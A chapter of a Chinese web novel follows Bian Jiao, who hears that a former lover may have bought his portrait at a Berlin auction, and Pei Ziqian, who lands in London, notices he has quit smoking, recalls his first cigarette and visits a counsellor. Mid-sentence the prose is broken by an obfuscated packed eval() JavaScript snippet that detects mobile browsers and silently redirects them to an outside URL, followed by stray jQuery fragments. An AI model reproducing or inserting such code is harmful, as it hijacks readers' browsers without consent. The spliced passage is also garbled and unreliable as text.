一年前，方岑有一部电影入围柏林电影节，遗憾没有拿到名次，但趁此机会在柏林休憩了一周。


    这期间，他去过一场拍卖会。


    “不知道你是否还有印象，四年前，你读大一，和同学拍的那部电影。”方岑说：“后来这部电影在国外电影节上拿过几个新人奖，前两天我还和导演吃过饭，可惜他已经转行。电影里你饰演的角色是位学生，有一幕是主角画家路过你们校园，为你画了一副肖像。我去的那场拍卖会主题正是电影幕后，有经典电影的底片、上世纪的拍摄机器，最重要的是在那之中，我看到了你的那副肖像。”


    说是肖像也不完全正确，画的主体是卞皎无错，不过更重要的是他身后的校园。


    方岑继续说：“那部电影其实算是我入圈的契机。你的那副画我记得很清楚，背后的湖面接着天空，一片蔚蓝，你就坐在最中央的位置，左眼上那颗痣很漂亮。”


    卞皎记得拍摄那部片子时正是初春。那时冬寒还未完全消逝，时常刮起刺脸的冷风，拍到作画这一段时，导演让他在校园湖面前连着坐了三天，一共拍了十个小时，总算找到最想要的一幕。好在后来片场改到靠南的海市，他才免于在后续拍摄中继续受难。


    回忆旧事费神，何况这番旧事的关键词唯有折磨二字，卞皎此刻已经很疲惫，语气算不上好：“方岑，你想表达什么？”


    “我想表达，也许他买下了你的那副画。”


    卞皎握了下手机。


    “不可能。”


    即使对方没有说明那个他是谁，他也还是当即就否认。


    方岑就问：“怎么不可能？我当时也动过心思要买，不过语言不通，后来去问时他们告知我已经被人买走，当时得到的消息是买家是个华人。他那时就坐在我斜前方的位置，中途离席过一次，现在想来，应该就是他了。你不是说他恨你么？我想并不是这样，你们之间，或许还有转圜的余地。”


    卞皎从床上坐起来，看了眼摆在不远处床头的薄荷香薰。


    “……不可能，真的。”收回目光，他起身说：“我与他昨天对话过。”


    “对话过？”方岑立刻问：“怎么样，他难道还恨你？”


    “不恨了。”


    “那为什么不可能？”


    卞皎在床头柜前停下脚步，没有回答。


    他拿起点火器点燃香薰，一声脆响，如豆的火光瞬间燃烧在碧绿容器之中，恍惚间好像多年前夜里的那抹烟点，倒映在他的眼眸。


    良久后，他轻轻说：“因为不恨了，所以不可能。”


    因为他们之间连恨都没有了。


    所以，不可能。


    这天晚上，卞皎翻出方岑所说的那部电影。


    看见自己的脸孔出现在画面中的感觉很不一样，三年过去，他还是不能适应。


    他记得这部电影在海市拍摄了半个月，期间负责剧本的学长常叫大家围在一起征求修改意见，那时他还不是很懂其中许多台词的意思，只知道后来上映时，许多的画面连同句子都被影评人拿出来欣赏。


    那位学长讲话很慢，带着说不出的口音，念稿时有些像电影旁白。卞皎那天早上没有进食，坐在桌旁时，胃难受到发晕。


    意识模糊之间，他依稀记得其中有一句台词是讲羁绊——


    “人与人的羁绊真正消失的时刻，不是告别，也不是疼痛，仅仅是提起对方时语气平淡，就像提起一餐寻常的早饭。”


    -


    一周逗留时间期满。


    裴子骞从阳市回到首都，接着立刻飞英国。


    登机、飞行、转机、飞行，接近十五个小时的里程，一路无言，没要叫酒，直接闭眼睡着，好像很多年没有睡过这样的好觉。


    落地伦敦，他没有通知在邻市的助理。过边检，取出行李，过海关，独自走出希斯罗机场，期间抬眼看了一次天，闷白灰色，直到站在最门口停步几秒，然后习惯性抬手去摸里兜——


    却摸了个空。


    这时他才意识到，从阳市登机前一天起到此刻，整整两天时间，他没有去买烟。


    甚至连吸烟都忘记。


    蜷缩手指，他忽然又松开手轻轻呼气，接着笑了一下。


    这算什么。


    就这样戒烟么？


    他从十五岁开始吸烟，迄今已经快九年，中途不是没有想过戒掉，只是没有一次成功。


    其实吸烟这件事，一开始的感觉并不好受，烟是成瘾物，家人学校社会三令五申禁止，第一口的烟雾吸进肺里时也似乎没什么大不了，甚至有些呛喉，但后来不知为什么，就是无法戒掉。


    十五岁时，裴子骞念初三最后一学期，成绩优越，可以升入排名第一的阳中，但家里伯母似乎并不满意，明里暗里说过好几次要他去沿海，和那里的亲戚一起打工挣钱。


    寄人篱下的滋味不好受，裴子骞很早就学会一言不发地忍受。


    他从未对伯母的意见发出反驳，私下里却报名了老师推荐的一项省级物理比赛，如果比赛赢得成绩，他就能以全额奖学金升读阳中。去省城参加比赛的那几天，他本想好理由，准备对大伯说自己在学校进行补课，周末不会回家，然而周五时候乘车赶了一下午路，在宾馆安顿好时已经凌晨，打开手机，却空空荡荡，没有一条未接电话或者短信。


    关掉屏幕，他一觉睡到天亮，不再准备和任何人告知去向。


    第二天连绵小雨，天气阴沉。裴子骞是独立出门参赛，没有老师带队。


    出门时他本来想去坐地铁，但光是弄清方向就花费了他很多时间，只能重新爬上地面招手打了一辆车。期间因为赶时间跑步太快，他摔了一跤，坐上车时才发现自己大腿后侧全是泥渍，但又没有带纸巾，前方司机的目光一下又一下传来，他只能低头，尝试用校服


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15364087|165050||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    袖口擦拭座椅布料上的泥点，然后和对方道歉。


    对方就说：“小朋友，你家长没有嘱咐出门带伞吗？”


    裴子骞埋头擦着污渍，像是没有听见。


    比赛所在的学校是省城最好的私立初中，操场区有裴子骞所在的学校一整个校园那么大。他到达地点，却被通知比赛时间推迟十五分钟，大家先报到。


    报完到总算松了口气，但心底还是紧张，于是他问到厕所。


    厕所在走廊最深处，他走进时闻到一股浓烈的刺鼻烟味，咳了声嗽，里面男生立时一齐转头看向他，大概三四位，胸口处都贴着报到的姓名。他与他们对视几秒，忽然其中一位朝他走来，然后，散了他一根烟。


    裴子骞人生中第一次被散烟，就是在这样一个半茫然的状态下。


    直到对方给他一只塑料打火机，他略显笨拙地点燃，却又天然地知道在这时要同时吸气，第一口烟进入他的鼻喉之间，他才突然感到一秒放空。


    也许抽烟就是为了能够合理叹气。


    后来裴子骞有想过，是不是只要能够戒烟，人生就可以无气可叹。


    也许因果倒置，但他真的尝试过无数次，每一次过后却都起到相反效果，变成更加猛烈地吸烟。总之他从未像当下一刻这样不渴望让尼古丁填满肺部，以至于直到伸手摸空的那一瞬才意识到，好像他的人生从阳市起飞的前一天起，就真的变得无气可叹了。


    上车，报出目的地，助理的电话打来。


    先是关问他飞行是否顺利，接着进入正题：“Chan，你在一周前派我出售的那副藏品，今日有人要交易。”


    “嗯，”他说，“卖吧。”


    “我再与你确认一遍价格……”


    “不用。脱手就够。”


    “那好，对方与英国相隔六个时区，现在还是凌晨，三个小时后我再联系后续事宜。”


    他说好，接着挂掉电话。望向窗外街景，乌蒙的云层隔绝紫外线，远处有几只白鸽飞过，他收回视线盯着手指许久，突然叫停车。


    下车后他在路边随意走进一家店面，结账走出，取出一根烟叼在嘴里，没有点燃。过了大概有接近半分钟，他忽然看了眼黑色烟盒上可怖的抢救画面，鼻息间出了声笑，又将烟放回，接着重新伸手招了一辆车。


    这次一路直达目的地。


    与约定时间迟到五分钟，但咨询室中心理咨询师依旧保持永远不变的微笑，伸手请他落座沙发。


    他径直走过，拉开相反的旋转座椅坐下。咨询师就也起身要改变座位，他却告知对方不必。


    “我们今天的谈话不会长，”他说，“我来，是为了有始有终。”


    讲完这句，他停顿一刻，像是在思考应该从哪里开始，最终摩挲了一瞬手指，他抬眼——


    “大概一年前，我在柏林买过一副画。这一件事，我是否有告诉你？”